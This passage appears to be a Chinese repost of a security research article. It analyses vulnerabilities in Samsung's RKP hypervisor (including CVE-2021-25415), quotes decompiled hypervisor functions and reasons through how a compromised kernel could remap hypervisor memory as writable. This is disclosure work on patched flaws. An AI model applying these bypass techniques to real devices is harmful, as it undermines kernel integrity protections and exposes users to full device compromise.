二进制漏洞分析-36.攻击三星 RKP
2024-1-8 09:59:47 Author: 安全狗的自我修养(查看原文) 阅读量:15 收藏

攻击三星 RKP

这是我们纲要博客文章的后续内容,该博客文章介绍了三星安全管理程序的内部结构,包括所有细节。这些广泛的知识在今天的博客文章中得到了应用,解释了我们如何攻击三星 RKP。在揭示了导致虚拟机管理程序或其保证受损的三个漏洞之后,我们还描述了我们提出的利用路径。最后,我们来看看三星在我们的报告之后制作的补丁。

目录

  • 介绍

    • 虚拟化扩展

    • 三星 RKP 保证

    • 三星 RKP 实施

    • Samsung RKP 初始化

    • 我们的研究设备

  • 将 RKP 内存重新映射为 EL1 的可写内存

    • 第一个补丁

    • 第二个补丁

    • 探索我们的选择

    • 重新映射我们的目标页面

    • 选择目标页面

    • 获取代码执行

    • 概念验证

    • 脆弱性

    • 开发

    • 补丁

  • 编写可执行内核页面

    • 概念验证

    • 可执行文件加载

    • 可执行文件卸载

    • 脆弱性

    • 脆弱性

    • 开发

    • 补丁

  • 写入只读内核内存

    • 概念验证

    • 脆弱性

    • 开发

    • 补丁

  • 结论

  • 时间线

2021 年 1 月,我们报告了 Samsung 安全管理程序实施中的三个漏洞。每个漏洞都有不同的影响,从写入到虚拟机监控程序强制执行的只读内存,再到破坏虚拟机监控程序本身。这些漏洞已在 2021 年 6 月和 2021 年 10 月的安全更新中修复。虽然它们是特定于 Samsung RKP 的,但我们认为它们是审计在 ARMv8 设备上运行的安全虚拟机管理程序时应注意的好例子。

我们将详细介绍每个漏洞,解释如何利用它们,并查看它们的补丁。虽然我们建议阅读原始博客文章,因为它会更容易理解这篇文章,但我们试图总结介绍中的所有重要部分。如果您已经熟悉三星 RKP,请随意跳过介绍并直接进入第一个漏洞。

移动设备上的安全虚拟机监控程序的主要目标是确保运行时的内核完整性,这样即使攻击者发现内核漏洞,也无法修改敏感的内核数据结构、提升权限或执行恶意代码。为了做到这一点,虚拟机管理程序以比内核 (EL1) 更高的权限级别 (EL2) 执行,并且它可以通过使用虚拟化扩展来完全控制它。

虚拟化扩展

虚拟化扩展的功能之一是地址转换的第二层。禁用后,只有一层地址转换,将虚拟地址 (VA) 直接转换为物理地址 (PA)。但是当它被启用时,第一层(阶段 1 - 在内核的控制下)现在将 VA 转换为所谓的中间物理地址 (IPA),第二层(阶段 2 - 在虚拟机管理程序的控制下)将此 IPA 转换为真正的 PA。第二层有自己的内存属性,允许虚拟机监控程序强制执行与内核页表中的内存权限不同的内存权限,并禁用对某些物理内存区域的访问。

虚拟化扩展的另一个功能是通过使用虚拟机管理程序配置寄存器 (HCR) 实现的,它允许虚拟机管理程序处理一般异常并捕获通常由内核执行的关键操作(例如访问系统寄存器)。最后,在内核 (EL1) 需要调用虚拟机管理程序 (EL2) 的情况下,它可以通过执行虚拟机管理程序调用 (HVC) 指令来实现。这与用户空间进程 (EL0) 用于调用内核 (EL1) 的 SuperVisor 调用 (SVC) 指令非常相似。

三星 RKP 保证

三星实施的安全虚拟机管理程序强制执行:

  • 页表不能直接由内核修改;

    • 除了 3 级表,但在这种情况下,位是设置的;PXNTable

    • 对 EL1 处虚拟存储器系统寄存器的访问被捕获;

    • 页表在第 2 阶段地址转换中设置为只读;

  • 防止双重映射(但检查仅由内核完成);

    • 尽管如此,我们还是无法使内核文本读写或新区域可执行;

  • 敏感的内核全局变量在区域中移动(只读);.rodata

  • 敏感内核数据结构 (, , ) 在只读页面上分配;credtask_security_structvfsmount

    • 一个不是的任务不能突然变成或systemsystemroot;

    • 可以在漏洞利用中设置 A 的字段;credtask_struct

    • 但是下一个操作,如执行 shell,将触发冲突;

    • 在各种操作中,将检查正在运行的任务的凭据:

    • 凭据也会被引用计数,以防止它们被其他任务重复使用;

  • 无法从特定挂载点之外执行二进制文件;root

  • 在 Snapdragon 设备上,ROPP(ROP 预防)也由 RKP 启用。

三星 RKP 实施

三星 RKP 广泛使用两种数据结构:memlists 和 sparsemaps

  • memlist 是地址范围的列表(有点像 的专用版本)。std::vector

  • sparsemap 将值与地址相关联(有点像 的专用版本)。std::map

这些控制结构有多个实例,下面按初始化顺序列出:

  • memlist 包含 DRAM 区域(由 S-Boot 发送);dynamic_regions

  • 内存列表包含关键的虚拟机管理程序 SRAM/DRAM 区域;protected_ranges

  • sparsemap 将类型(内核文本、PT 等)关联到每个 DRAM 页面;physmap

  • sparsemap 指示 DRAM 页面在阶段 2 中是否为只读;ro_bitmap

  • 内核使用 sparsemap 来检测双映射的 DRAM 页面;dbl_bitmap

  • memlist 包含 RKP 的页面分配器使用的 DRAM 区域;page_allocator.list

  • sparsemap 跟踪 RKP 的页面分配器分配的 DRAM 页面;page_allocator.map

  • memlist 包含内核的可执行页面;executable_regions

  • memlist 由“动态加载”功能使用。dynamic_load_regions

请注意,虚拟机管理程序使用这些控制结构来跟踪内存中的内容及其映射方式。但它们对实际的地址转换没有直接影响(与第 2 阶段页表不同)。虚拟机管理程序必须小心翼翼地使控制结构和页表保持同步,以避免出现问题。

虚拟机管理程序有多个分配器,每个分配器都有不同的用途:

  • “静态堆”包含SRAM存储器(初始化前)和DRAM存储器(初始化后);

    • 它用于 EL2 页表、模因列表和页分配器的描述符;

  • “动态堆”仅包含 DRAM 内存(页面分配器的内存区域是从中划出的);

    • 它用于 EL1 阶段 2 页表和稀疏图(条目和位图);

  • “页面分配器”仅包含 DRAM 内存;

    • 它用于分配 EL1 阶段 1 页表和受保护的 SLUB 缓存的页。

Samsung RKP 初始化

虚拟机管理程序(与内核一起)的初始化在第一篇博文中进行了详细介绍。在寻找漏洞时,了解各种控制结构在给定时刻的状态,以及 EL1 阶段 2 和 EL2 阶段 1 的页表包含的内容至关重要。下面报告了初始化后的虚拟机管理程序状态。

控制结构如下:

  • 包含虚拟机管理程序代码/数据和支持 .protected_rangesphysmap

  • physmap

    • 内核段标记为.textTEXT;

    • 用户 PGD、PMD 和 PTE 分别标记为 、 和 ;L1L2L3

    • 内核 PGD、PMD 和 PTE 分别标记为 、 和 。KERNEL|L1KERNEL|L2KERNEL|L3

  • 包含内核和段,以及在阶段 2 中已设为只读的其他页面(如 L1、L2 和一些 L3 内核页面表)。ro_bitmap.text.rodata

  • 包含内核段和蹦床页面。executable_regions.text

在 EL2 阶段 1 的页表中(控制虚拟机管理程序可以访问的内容):

  • 虚拟机管理程序段被映射(从初始 PT 开始);

  • 日志和“大数据”区域映射为 RW;

  • 内核段映射为 RO;.text

  • 的第一页映射为 RW。swapper_pg_dir

在 EL1 阶段 2 的页表中(控制内核可以真正访问的内容):

  • 虚拟机监控程序内存区域未映射;

  • empty_zero_page映射为 RWX;

  • 日志区域映射为 ROX;

  • 支持“动态堆”的区域映射为 ROX;

  • PGD 映射为 RO:

    • PXN 位设置在块描述符上;

    • PXN 位在表描述符上设置,但仅适用于用户 PGD。

  • PMD 映射为 RO:

    • PXN 位是为不在 中的 VA 设置的。executable_regions

  • PTE 映射为 VA 的 RO。executable_regions

  • 内核段映射为 ROX。.text

我们的研究设备

我们在这项研究中的测试设备是三星A51(SM-A515F)。我们没有使用完整的漏洞利用链,而是从三星的开源网站下载了内核源代码,添加了一些系统调用,重新编译了内核,并将其烧录到设备上。

新的系统调用使得与 RKP 的交互变得非常方便,并允许我们从用户空间:

  • 读/写内核内存;

  • 分配/释放内核内存;

  • 进行虚拟机监控程序调用(使用函数)。uh_call

SVE-2021-20178 (CVE-2021-25415): Possible remapping RKP memory as writable from EL1

Severity: High
Affected versions: Q(10.0), R(11.0) devices with Exynos9610, 9810, 9820, 9830
Reported on: January 4, 2021
Disclosure status: Privately disclosed.
Assuming EL1 is compromised, an improper address validation in RKP prior to SMR JUN-2021 Release 1 allows local attackers to remap EL2 memory as writable.
The patch adds the proper address validation in RKP to prevent change of EL2 memory attribution from EL1.

脆弱性

当 Samsung RKP 需要在第 2 阶段更改内存区域的权限时,它使用在单个页面上操作的 rkp_s2_page_change_permission,或者使用在一系列地址上运行的 rkp_s2_range_change_permission。这些函数可能被滥用,将虚拟机管理程序内存(在初始化期间未映射)重新映射为可从内核写入的内存,从而完全损害安全虚拟机管理程序。让我们看看调用这些函数时会发生什么。

rkp_s2_page_change_permission首先对其参数执行验证:除非标志不为零,否则必须初始化虚拟机管理程序,页面不得标记为 ,它不能来自虚拟机管理程序页面分配器,并且不能位于内核或部分中。如果这些验证成功,它将确定请求的内存属性和调用,以有效地修改第 2 阶段页表。最后,它会刷新 TLB 并更新 .allowS2UNMAPphysmap.text.rodatamap_s2_pagero_bitmap

int64_t rkp_s2_page_change_permission(void* p_addr, uint64_t access, uint32_t exec, uint32_t allow) {
// ...

// If the allow flag is 0, RKP must be initialized.
if (!allow && !rkp_inited) {
uh_log('L', "rkp_paging.c", 574, "s2 page change access not allowed before init %d", allow);
rkp_policy_violation("s2 page change access not allowed, p_addr : %p", p_addr);
return -1;
}
// The page shouldn't be marked as `S2UNMAP` in the physmap.
if (is_phys_map_s2unmap(p_addr)) {
// And trigger a violation.
rkp_policy_violation("Error page was s2 unmapped before %p", p_addr);
return -1;
}
// The page shouldn't have been allocated by the hypervisor page allocator.
if (page_allocator_is_allocated(p_addr) == 1) {
return 0;
}
// The page shouldn't be in the kernel text section.
if (p_addr >= TEXT_PA && p_addr < ETEXT_PA) {
return 0;
}
// The page shouldn't be in the kernel rodata section.
if (p_addr >= rkp_get_pa(SRODATA) && p_addr < rkp_get_pa(ERODATA)) {
return 0;
}
uh_log('L', "rkp_paging.c", 270, "Page access change out of static RO range %lx %lx %lx", p_addr, access, exec);
// Calculate the memory attributes to apply to the page.
if (access == 0x80) {
++page_ro;
attrs = UNKN1 | READ;
} else {
++page_free;
attrs = UNKN1 | WRITE | READ;
}
if (p_addr == ZERO_PG_ADDR || exec) {
attrs |= EXEC;
}
// Call `map_s2_page` to make the actual changes to the stage 2 page tables.
if (map_s2_page(p_addr, p_addr, 0x1000, attrs) < 0) {
rkp_policy_violation("map_s2_page failed, p_addr : %p, attrs : %d", p_addr, attrs);
return -1;
}
// Invalidate the TLBs for the target page.
tlbivaae1is(((p_addr + 0x80000000) | 0xffffffc000000000) >> 12);
// Call `rkp_set_pgt_bitmap` to update the ro_bitmap.
return rkp_set_pgt_bitmap(p_addr, access);
}

rkp_s2_range_change_permission 的操作类似于 rkp_s2_page_change_permission。第一个区别是函数执行的验证。这里的标志可以接受 3 个值:0(仅在初始化后允许更改)、1(仅在延迟初始化之前)和 2(始终允许)。起始地址和结束地址必须按预期顺序对齐。不执行其他验证。第二个区别是调用该函数来执行对第 2 阶段页表的更改,该函数是 s2_map 而不是 。allowmap_s2_page

int64_t rkp_s2_range_change_permission(uint64_t start_addr,
uint64_t end_addr,
uint64_t access,
uint32_t exec,
uint32_t allow) {
// ...

uh_log('L', "rkp_paging.c", 195, "RKP_4acbd6db%lxRKP_00950f15%lx", start_addr, end_addr);
// If the allow flag is 0, RKP must be initialized.
if (!allow && !rkp_inited) {
uh_log('L', "rkp_paging.c", 593, "s2 range change access not allowed before init");
rkp_policy_violation("Range change permission prohibited");
}
// If the allow flag is 1, RKP must not be deferred initialized.
else if (allow != 2 && rkp_deferred_inited) {
uh_log('L', "rkp_paging.c", 603, "s2 change access not allowed after def-init");
rkp_policy_violation("Range change permission prohibited");
}
// The start and end addresses must be page-aligned.
if ((start_addr & 0xfff) != 0 || (end_addr & 0xfff) != 0) {
uh_log('L', "rkp_paging.c", 203, "start or end addr is not aligned, %p - %p", start_addr, end_addr);
return -1;
}
// The start address must be smaller than the end address.
if (start_addr > end_addr) {
uh_log('L', "rkp_paging.c", 208, "start addr is bigger than end addr %p, %p", start_addr, end_addr);
return -1;
}
// Calculates the memory attributes to apply to the pages.
size = end_addr - start_addr;
if (access == 0x80) {
attrs = UNKN1 | READ;
} else {
attrs = UNKN1 | WRITE | READ;
}
if (exec) {
attrs |= EXEC;
}
p_addr_start = start_addr;
// Call `s2_map` to make the actual changes to the stage 2 page tables.
if (s2_map(start_addr, end_addr - start_addr, attrs, &p_addr_start) < 0) {
uh_log('L', "rkp_paging.c", 222, "s2_map returned false, p_addr_start : %p, size : %p", p_start_addr, size);
return -1;
}
// For each page, call `rkp_set_pgt_bitmap` to update the ro_bitmap and invalidate the TLBs.
for (addr = start_addr, addr < end_addr; addr += 0x1000) {
res = rkp_set_pgt_bitmap(addr, access);
if (res < 0) {
uh_log('L', "rkp_paging.c", 229, "set_pgt_bitmap fail, %p", addr);
return res;
}
tlbivaae1is(((addr + 0x80000000) | 0xffffffc000000000) >> 12);
addr += 0x1000;
}
return 0;
}

s2_map 是一个包装器,它考虑了构成内存范围的各种块和页面大小。不使用任何控制结构。这篇博文不会详细介绍它,因为它是用于遍历和更新第 2 阶段页表的通用代码。map_s2_pagemap_s2_page

int64_t s2_map(uint64_t orig_addr, uint64_t orig_size, attrs_t attrs, uint64_t* paddr) {
// ...

if (!paddr) {
return -1;
}
// Floor the address to the page size.
addr = orig_addr - (orig_addr & 0xfff);
// And ceil the size to the page size.
size = (orig_addr & 0xfff) + orig_size;
// Call `map_s2_page` for each 2 MB block in the region.
while (size > 0x1fffff && (addr & 0x1fffff) == 0) {
if (map_s2_page(*paddr, addr, 0x200000, attrs)) {
uh_log('L', "s2.c", 1132, "unable to map 2mb s2 page: %p", addr);
return -1;
}
size -= 0x200000;
addr += 0x200000;
*paddr += 0x200000;
}
// Call `map_s2_page` for each 4 KB page in the region.
while (size > 0xfff && (addr & 0xfff) == 0) {
if (map_s2_page(*paddr, addr, 0x1000, attrs)) {
uh_log('L', "s2.c", 1150, "unable to map 4kb s2 page: %p", addr);
return -1;
}
size -= 0x1000;
addr += 0x1000;
*paddr += 0x1000;
}
return 0;
}

我们已经看到,rkp_s2_range_change_permission函数执行的验证比rkp_s2_page_change_permission少。具体而言,它不能确保内存范围的页面未标记为 .这意味着,如果我们给它一个包含虚拟机管理程序内存的内存范围(在初始化期间未映射),它将很高兴地在第二阶段重新映射它。S2UNMAPphysmap

但事实证明,它比这更糟糕:这个检查甚至什么也没做!人们希望页面在实际从第 2 阶段取消映射时被标记为 in。s2_unmap 是执行此取消映射的函数。与 s2_map 类似,它只是一个包装器,它考虑了构成内存范围的各种块和页面大小。S2UNMAPphysmapunmap_s2_page

int64_t s2_unmap(uint64_t orig_addr, uint64_t orig_size) {
// ...

// Floor the address to the page size.
addr = orig_addr & 0xfffffffffffff000;
// And ceil the size to the page size.
size = (orig_addr & 0xfff) + orig_size;
// Call `unmap_s2_page` for each 1 GB block in the region.
while (size > 0x3fffffff && (addr & 0x3fffffff) == 0) {
if (unmap_s2_page(addr, 0x40000000)) {
uh_log('L', "s2.c", 1175, "unable to unmap 1gb s2 page: %p", addr);
return -1;
}
size -= 0x40000000;
addr += 0x40000000;
}
// Call `unmap_s2_page` for each 2 MB block in the region.
while (size > 0x1fffff && (addr & 0x1fffff) == 0) {
if (unmap_s2_page(addr, 0x200000)) {
uh_log('L', "s2.c", 1183, "unable to unmap 2mb s2 page: %p", addr);
return -1;
}
size -= 0x200000;
addr += 0x200000;
}
// Call `unmap_s2_page` for each 4 KB page in the region.
while (size > 0xfff && (addr & 0xfff) == 0) {
if (unmap_s2_page(addr, 0x1000)) {
uh_log('L', "s2.c", 1191, "unable to unmap 4kb s2 page: %p", addr);
return -1;
}
size -= 0x1000;
addr += 0x1000;
}
return 0;
}

事实证明,没有对 、 的调用,甚至没有将页面标记为 的低级函数。因此,我们还可以在第 2 阶段使用 rkp_s2_page_change_permission 重新映射虚拟机管理程序内存!rkp_phys_map_setrkp_phys_map_set_regionsparsemap_set_value_addrS2UNMAP

开发

为了利用这个双重错误,我们需要寻找对 rkp_s2_page_change_permission 和 rkp_s2_range_change_permission 函数的调用,这些函数可以从内核触发(在虚拟机管理程序初始化后)并使用可控参数。

探索我们的选择

rkp_s2_page_change_permission称为:

  • rkp_l1pgt_process_table;

  • rkp_l2pgt_process_table;

  • rkp_l3pgt_process_table;

  • 在 set_range_to_pxn_l3 年(本身从rkp_set_range_to_pxn中调用);

  • 在 set_range_to_rox_l3 年(本身从rkp_set_range_to_rox);

  • rkp_set_pages_ro;

  • 在。rkp_ro_free_pages

rkp_s2_range_change_permission被称为:

  • 在许多功能中。dynamic_load_xxx

让我们一一介绍这些功能,看看它们是否符合我们的要求。

rkp_lxpgt_process_table

在第一篇博文中,我们仔细研究了函数 和 。假设我们控制了第三个参数,那么在这些函数中实现对 rkp_s2_page_change_permission 的调用是相当容易的:rkp_l1pgt_process_tablerkp_l2pgt_process_tablerkp_l3pgt_process_table

  • 如果等于 1,则页面不得标记为 ,is_allocLXphysmap

    • 因此,它将在阶段 2 中设置为只读,并标记为 。LX

  • 如果等于 0,则该页面必须标记为 ,is_allocLXphysmap

    • 因此,它将在阶段 2 中设置为读写并标记为 。FREE

因此,通过调用其中一个函数两次,第一次设置为 1,第二次设置为 0,将导致调用具有读写权限的 rkp_s2_page_change_permission。下一个问题是:我们可以使用受控参数调用这些函数吗?is_allocis_alloc

处理 1 级表的函数称为:rkp_l1pgt_process_table

  • rkp_l1pgt_ttbr;

  • rkp_l1pgt_new_pgd;

  • 在。rkp_l1pgt_free_pgd

第一次调用是在 rkp_l1pgt_ttbr 中,其中函数参数和 是用户控制的。因为我们在初始化后攻击三星 RKKP,并且应该是真的,并且启用了 MMU。然后,如果用户 PGD 或内核 PGD 不是 和 ,则将调用该函数。ttbruser_or_kernelrkp_deferred_initedrkp_initedpgdempty_zero_pageswapper_pg_dirtramp_pg_dirrkp_l1pgt_process_table

int64_t rkp_l1pgt_ttbr(uint64_t ttbr, uint32_t user_or_kernel) {
// ...

// Extract the PGD from the TTBR system register value.
pgd = ttbr & 0xfffffffff000;
// Don't do any processing if RKP is not deferred initialized.
if (!rkp_deferred_inited) {
should_process = 0;
} else {
should_process = 1;
// For kernel PGDs or user PGDs that aren't `empty_zero_page`.
if (user_or_kernel == 0x1ffffff || pgd != ZERO_PG_ADDR) {
// Don't do any processing if RKP is not initialized.
if (!rkp_inited) {
should_process = 0;
}
// Or if it's the `swapper_pg_dir` kernel PGD.
if (pgd == INIT_MM_PGD) {
should_process = 0;
}
// Or it it's the `tramp_pg_dir` kernel PGD.
if (pgd == TRAMP_PGD && TRAMP_PGD) {
should_process = 0;
}
}
// For the `empty_zero_page` user PGD.
else {
// Don't do any processing if the MMU is disabled or RKP is not initialized.
if ((get_sctlr_el1() & 1) != 0 || !rkp_inited) {
should_process = 0;
}
}
}
// If processing of the PGD should be done, call `rkp_l1pgt_process_table`.
if (should_process && rkp_l1pgt_process_table(pgd, user_or_kernel, 1) < 0) {
return rkp_policy_violation("Process l1t returned false, l1e addr : %lx", pgd);
}
// Then set TTBR0_EL1 for user PGDs, or TTBR1_EL1 for kernel PGDs.
if (!user_or_kernel) {
return set_ttbr0_el1(ttbr);
} else {
return set_ttbr1_el1(ttbr);
}
}

但是,该函数还将设置系统寄存器(对于用户 PGD)或(对于内核 PGD),我们甚至无法控制参数,因此这不是一个好的路径。让我们来看看我们的其他选项。TTBR0_EL1TTBR1_EL1is_alloc

我们已经在第一篇博文中看到了 和 函数。它们本来可以成为非常好的候选者,但使用它们有一个主要缺点:给出的表地址来自 。此函数调用以确保地址不在内存列表中,因此我们不能使用位于虚拟机监控程序内存中的地址。rkp_l1pgt_new_pgdrkp_l1pgt_free_pgdrkp_l1pgt_process_tablerkp_get_pacheck_kernel_inputprotected_ranges

相反,我们可以做的是尝试处理下一级表,以便给定的值来自描述符的输出地址,而不是来自对 的调用。这样,表地址参数将完全由用户控制。rkp_l2pgt_process_tablerkp_get_pa

处理 2 级表的函数称为:rkp_l2pgt_process_table

  • rkp_l1pgt_process_table;

  • (见第一篇博文)。rkp_l1pgt_write

处理 3 级表的函数称为:rkp_l3pgt_process_table

  • in (见于第一篇博文,称为 from 和 )。check_single_l2erkp_l2pgt_process_tablerkp_l2pgt_write

在第一篇博文中也看到的 和 函数是非常好的候选函数,它们允许分别调用和在内核页表中编写一个虚假的 1 级或 2 级描述符。rkp_l1pgt_writerkp_l2pgt_writerkp_l2pgt_process_tablerkp_l3pgt_process_table

为了完整起见,即使我们已经找到了漏洞的利用路径,我们也会看看我们的其他选项。

set_range_to_xxx_l3

set_range_to_pxn_l3rkp_set_range_to_pxn一直被称为。此函数调用 rkp_set_range_to_pxn,将 PGD 作为参数传递给它,以及要在第 1 阶段页表中设置为 PXN 的范围的开始和地址。它还会使 TLB 和指令缓存失效。

int64_t rkp_set_range_to_pxn(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...

// Call `set_range_to_pxn_l1` to walk the PGD and set PXN bit of the descriptors mapping the address range.
res = set_range_to_pxn_l1(table, start_addr, end_addr);
if (res) {
uh_log('W', "rkp_l1pgt.c", 186, "Fail to change attribute to pxn");
return res;
}
// Invalidate the TLBs for the memory region.
size = end_addr - start_addr;
invalidate_s1_el1_tlb_region(start_addr, size);
// Invalidate the instruction cache for the memory region.
paddr = rkp_get_pa(start_addr);
invalidate_instruction_cache_region(paddr, size);
return 0;
}

set_range_to_pxn_l1确保 PGD 标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并调用表描述符上的set_range_to_pxn_l2来处理 PMD。KERNEL|L1physmap

int64_t set_range_to_pxn_l1(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...

rkp_phys_map_lock(table);
// Ensure the PGD is marked as `KERNEL|L1` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l1(table)) {
res = 0;
// Iterate over the PGD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffc0000000) + 0x40000000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc = *(table + 8 * ((next_start_addr >> 30) & 0x1ff));
// If the descriptor is a table descriptor.
if ((table_desc & 0b11) == 0b11) {
// Call `set_range_to_pxn_l2` to walk the PMD and set PXN bit of the descriptors mapping the address range.
res += set_range_to_pxn_l2(table_desc & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}

set_range_to_pxn_l2确保 PMD 标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并调用表描述符上的set_range_to_pxn_l3来处理 PT。此外,如果描述符未映射其中一个可执行区域,则会设置其 PXN 位。KERNEL|L2physmap

int64_t set_range_to_pxn_l2(uint64_t table, uint64_t start_addr, int64_t end_addr) {
// ...

rkp_phys_map_lock(table);
// Ensure the PMD is marked as `KERNEL|L2` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l2(table)) {
res = 0;
// Iterate over the PMD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffffe00000) + 0x200000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 21) & 0x1ff);
// Check if the descriptor value is in the executable regions. If it is not, set the PXN bit of the descriptor.
// However, I believe the mask extracting only the output address of the descriptor is missing...
if (*table_desc_p && !executable_regions_contains(*table_desc_p)) {
set_pxn_bit_of_desc(table_desc_p, 2);
}
// If the descriptor is a table descriptor.
if ((*table_desc_p & 0b11) == 0b11) {
// Call `set_range_to_pxn_l3` to walk the PT and set PXN bit of the descriptors mapping the address range.
res += set_range_to_pxn_l3(*table_desc_p & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}

set_range_to_pxn_l3检查 PT 是否标记为 .如果是,虚拟机管理程序将停止保护它,方法是在第二阶段使其再次可写,并将其标记为 .如果不是,则循环访问映射作为参数给出的地址范围的描述符,如果它们未映射其中一个可执行区域,则设置其 PXN 位。KERNEL|L3physmapFREEphysmap

int64_t set_range_to_pxn_l3(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...

rkp_phys_map_lock(table);
// Ensure the PT is marked as `KERNEL|L3` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l3(table)) {
// Call `rkp_s2_page_change_permission` to make it writable in the second stage.
res = rkp_s2_page_change_permission(table, 0 /* read-write */, 0 /* non-executable */, 0);
if (res < 0) {
uh_log('L', "rkp_l3pgt.c", 153, "pxn l3t failed, %lx", table);
rkp_phys_map_unlock(table);
return res;
}
// Mark it as `FREE` in the physmap.
res = rkp_phys_map_set(table, FREE);
if (res < 0) {
rkp_phys_map_unlock(table);
return res;
}
}
// Iterate over the PT descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr + 0x1000) & 0xfffffffffffff000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 12) & 0x1ff);
// If the descriptor is a page descriptor, and the descriptor value is not in the executable regions, then set its
// PXN bit. I believe the mask extracting only the output address of the descriptor is missing...
if ((*table_desc_p & 0b11) == 0b11 && !executable_regions_contains(*table_desc_p, 3)) {
set_pxn_bit_of_desc(table_desc_p, 3);
}
}
rkp_phys_map_unlock(table);
return 0;
}

rkp_set_range_to_pxn 总是在 上调用(从“动态加载”功能的功能中)。因此,它将遍历内核页表,并设置跨越指定地址范围的块和页描述符的 PXN 位。我们感兴趣的对 rkp_s2_page_change_permission 的调用仅发生在 中也标记在 .swapper_pg_dirKERNEL|L3physmap

这对我们来说不是一个好的选择,原因有很多:我们的虚拟机管理程序内存目标页面需要在 ;它要求我们已经将用户控制的描述符写入内核页表中(让我们回到上面看到的函数);最后,“动态加载”功能仅在 Exynos 设备上可用,正如我们将在下一个漏洞中看到的那样。KERNEL|L3physmaprkp_lxpgt_process_table

set_range_to_rox_l3rkp_set_range_to_rox一路被召唤。rkp_set_range_to_rox和功能与PXN非常相似。rkp_set_range_to_rox调用 set_range_to_rox_l1,将 PGD 作为参数传递给它。set_range_to_rox_lx

int64_t rkp_set_range_to_rox(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...

// Call `set_range_to_pxn_l1` to walk the PGD and set the regions of the address range as ROX.
res = set_range_to_rox_l1(table, start_addr, end_addr);
if (res) {
uh_log('W', "rkp_l1pgt.c", 199, "Fail to change attribute to rox");
return res;
}
// Invalidate the TLBs for the memory region.
size = end_addr - start_addr;
invalidate_s1_el1_tlb_region(start_addr, size);
// Invalidate the instruction cache for the memory region.
paddr = rkp_get_pa(start_addr);
invalidate_instruction_cache_region(paddr, size);
return 0;
}

set_range_to_rox_l1确保 PGD 不是,并且标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并更改这些描述符的内存属性,使内存为只读可执行文件。此外,对于表描述符,它调用 set_range_to_rox_l2 来处理 PMD。swapper_pg_dirKERNEL|L1physmap

int64_t set_range_to_rox_l1(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...

if (table != INIT_MM_PGD) {
rkp_policy_violation("rox only allowed on kerenl PGD! l1t : %lx", table);
return -1;
}
rkp_phys_map_lock(table);
// Ensure the PGD is marked as `KERNEL|L1` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l1(table)) {
res = 0;
// Iterate over the PGD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffc0000000) + 0x40000000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 30) & 0x1ff);
// Set the AP bits to RO and unset the PXN bit of the descriptor.
if (*table_desc_p) {
set_rox_bits_of_desc(table_desc_p, 1);
}
// If the descriptor is a table descriptor.
if ((*table_desc_p & 0b11) == 0b11) {
// Call `set_range_to_rox_l2` to walk the PMD and set the regions of the address range as ROX.
res += set_range_to_rox_l2(*table_desc_p & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}

set_range_to_rox_l2确保 PMD 标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并更改这些描述符的内存属性,使内存为只读可执行文件。此外,对于表描述符,它会调用 set_range_to_rox_l3 来处理 PT。KERNEL|L2physmap

int64_t set_range_to_rox_l2(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...

rkp_phys_map_lock(table);
// Ensure the PMD is marked as `KERNEL|L2` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l2(table)) {
// Iterate over the PMD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffffe00000) + 0x200000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 21) & 0x1ff);
// Set the AP bits to RO and unset the PXN bit of the descriptor.
if (*table_desc_p) {
set_rox_bits_of_desc(table_desc_p, 2);
}
// If the descriptor is a table descriptor.
if ((*table_desc_p & 0b11) == 0b11) {
res += set_range_to_rox_l3(*table_desc_p & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}

set_range_to_rox_l3检查 PT 是否标记为 .如果不是,虚拟机监控程序将开始保护它,方法是在第二阶段将其设置为只读,并将其标记为 .如果是,则循环访问映射作为参数给定的地址范围的描述符,并更改这些描述符的内存属性,使内存为只读且可执行。KERNEL|L3physmapKERNEL|L3physmap

int64_t set_range_to_rox_l3(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...

rkp_phys_map_lock(table);
